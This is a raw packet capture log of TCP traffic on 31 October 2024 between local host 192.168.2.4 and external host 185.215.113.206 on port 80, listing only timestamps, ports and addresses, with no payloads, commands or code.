Oct 31, 2024 11:27:04.904301882 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.904323101 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.904334068 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.904356956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.904364109 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.904405117 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.904413939 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.904443979 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.904464006 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.904490948 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.904495001 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.904529095 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.904542923 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.904572010 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.904581070 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.904613972 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.904628038 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.904644012 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.904658079 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.904678106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.904690027 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.904712915 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.904723883 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.904755116 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.904763937 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.904798031 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.904813051 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.904834986 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.904844046 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.904870987 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.904881001 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.904905081 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.904917955 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.904941082 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.904951096 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.904974937 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.904985905 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.905009031 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.905016899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.905042887 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.905056000 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.905081987 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.905087948 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.905121088 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.905132055 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.905155897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.905168056 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.905190945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.905214071 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.905225992 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.905236959 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.905261040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.905273914 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.905294895 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.905304909 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.905329943 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.905343056 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.905364990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.905386925 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.905416965 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.905441046 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.905456066 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.905467033 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.905491114 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.905505896 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.905525923 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.905539036 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.905570030 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.015778065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.015964985 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.016041040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.016079903 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.016074896 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.016076088 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.016138077 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.016170025 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.016170025 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.016174078 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.016196012 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.016226053 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.016228914 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.016263008 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.016293049 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.016298056 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.016333103 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.016334057 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.016350031 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.016383886 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.016413927 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.016433954 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.016438961 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.016470909 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.016504049 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.016508102 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.016527891 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.016551018 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.016555071 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.016590118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.016618013 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.016637087 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.016644955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.016680002 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.016714096 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.016715050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.016733885 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.016751051 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.016766071 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.016789913 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.016803980 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.016825914 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.016849041 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.016870022 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.016879082 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.016913891 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.016930103 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.016949892 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.016968012 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.016983986 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.017004013 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.017019987 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.017038107 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.017055035 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.017069101 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.017091036 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.017108917 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.017126083 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.017142057 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.017163038 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.017179966 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.017199039 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.017214060 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.017236948 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.017249107 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.017272949 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.017296076 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.017307997 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.017322063 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.017343044 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.017368078 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.017391920 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.017399073 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.017435074 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.017463923 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.017471075 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.017484903 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.017505884 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.017529964 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.017540932 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.017549992 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.017570972 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.017596960 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.017604113 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.017621040 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.017638922 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.017654896 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.017690897 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.017693043 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.017729044 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.017741919 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.017764091 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.017781973 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.017813921 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.017885923 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.017924070 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.017940044 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.017968893 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.019998074 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.020040035 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.020082951 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.020117044 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.020118952 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.020155907 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.020174026 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.020209074 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.021850109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.021923065 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.021931887 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.021985054 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.022005081 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.022058010 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.022061110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.022114992 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.022126913 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.022155046 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.022177935 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.022191048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.022208929 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.022226095 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.022255898 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.022262096 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.022295952 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.022300959 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.022321939 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.022332907 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.022346973 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.022368908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.022391081 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.022403955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.022428989 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.022434950 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.022450924 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.022469997 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.022495985 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.022505999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.022521019 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.022541046 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.022557974 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.022577047 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.022588968 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.022613049 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.022623062 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.022649050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.022661924 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.022685051 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.022700071 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.022697926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.022717953 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.022727966 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.022733927 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.022747993 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.022758007 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.022763968 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.022779942 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.022783995 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.022795916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.022810936 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.022826910 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.022842884 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.022845030 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.022861004 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.022861004 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.022876024 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.022891045 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.022896051 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.022906065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.022922039 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.022924900 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.022937059 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.022944927 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.022964954 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.022967100 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.022979975 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.022993088 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.022994995 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.023010969 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.023010969 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.023025036 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.023032904 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.023037910 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.023051023 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.023061991 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.023078918 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.023108006 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.051637888 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.051759005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.051816940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.051851988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.051860094 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.051886082 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.051919937 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.051954031 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.051961899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.051961899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.051989079 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.051994085 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.052015066 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.052026033 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.052042961 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.052061081 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.052079916 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.052100897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.052131891 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.052175999 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.052175999 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.052175999 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.132972956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.133069038 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.133193970 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.133234978 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.133265972 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.133265972 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.133289099 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.133305073 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.133305073 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.133327007 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.133361101 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.133363008 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.133385897 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.133404016 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.133430958 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.133465052 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.133481026 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.133500099 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.133508921 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.133533955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.133547068 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.133579969 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.133585930 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.133622885 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.133635998 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.133657932 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.133666992 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.133694887 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.133719921 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.133739948 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.133747101 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.133781910 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.133800983 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.133816957 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.133829117 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.133852005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.133867025 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.133898020 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.133903980 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.133939981 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.133949995 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.133975029 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.133986950 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.134020090 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.134027004 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.134063005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.134078979 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.134097099 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.134108067 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.134134054 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.134147882 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.134169102 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.134203911 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.134257078 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.134272099 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.134272099 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.134272099 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.134294987 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.134310961 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.134325981 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.134350061 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.134361029 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.134377956 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.134403944 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.134414911 CET	80	49730	185.215.113.206	192.168.2.4
